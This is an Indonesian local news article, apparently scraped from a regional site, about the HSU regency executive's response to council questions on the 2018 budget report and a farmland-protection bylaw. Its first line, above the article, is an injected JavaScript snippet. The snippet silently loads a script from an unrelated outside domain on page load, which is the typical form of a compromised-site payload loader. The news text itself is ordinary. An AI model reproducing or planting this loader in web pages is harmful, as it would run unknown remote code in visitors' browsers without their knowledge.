(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Dua buah Rancangan Peraturan Daerah (Raperda) Kabupaten HSU terkait Raperda pertanggungjawaban pelaksanaan APBD tahun 2018 dan Raperda tentang perlindungan lahan pertanian pangan berkelanjutan mendapat respon positif ekskutif.
Wabup HSU H Husairi Abdi menyampaikan tanggapan yang disampaikannya kepada para wakil rakyat saat sidang paripurna DPRD HSU, Senin (24/6). Diantaranya, menanggapi pertanyaan fraksi terkait dengan realisasi pendapatan asli daerah tahun 2018 yang hanya mencapai 92,73%, ia menjelaskan secara keseluruhan terealisasi pendapatan daerah untuk tahun anggaran 2018 melampaui target yakni sebesar 102,35%.
Namun, ada kelompok pendapatan asli daerah terealisasi hanya sekitar 92,73% hal ini terjadi karena mendapatkan pada retribusi daerah terealisasi sebesar 91,12% dan pendapatan pada lain-lain pendapatan asli daerah yang sah terealisasi sebesar 85,35%.
Sementara, menanggapi pertanyaan fraksi dewan terkait dengan Raperda tentang perlindungan lahan pertanian pangan berkelanjutan, Husairi mengatakan, saat ini memang belum ada upaya Pemkab HSU menggali fungsi dan lahan konservasi menjadi lahan produktif. Mengingat di wilayah HSU masih banyak terdapat lahan lahan tidur terlantar yang masih bisa dijadikan lahan pertanian produktif.
Sedangkan daerah yang menjadi target utama yang akan diproteksi sebagai perlindungan lahan pertanian pangan berkelanjutan tersebar di 9 kecamatan yang berada pada kawasan budidaya tanaman pangan lahan basah atau lahan lebak.
Sementara terkait dengan lahan pertanian pangan yang sudah dialih fungsi kan baik menjadi areal perumahan ataupun areal usaha.
“Pemerintah daerah berupaya tidak akan melakukan tindakan yang dapat merugikan kelompok masyarakat atau perorangan yang telah mendapat izin penggunaan lahan baik untuk perumahan ataupun usaha lainnya. Apalagi selama ini area petani yang telah beralih fungsi berada pada lahan lebak watun satu, yaitu tidak termasuk sebagai kawasan lahan pertanian pangan berkelanjutan,†tegasnya. (dew)
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi juara umum pada MTQ… Read More
This website uses cookies.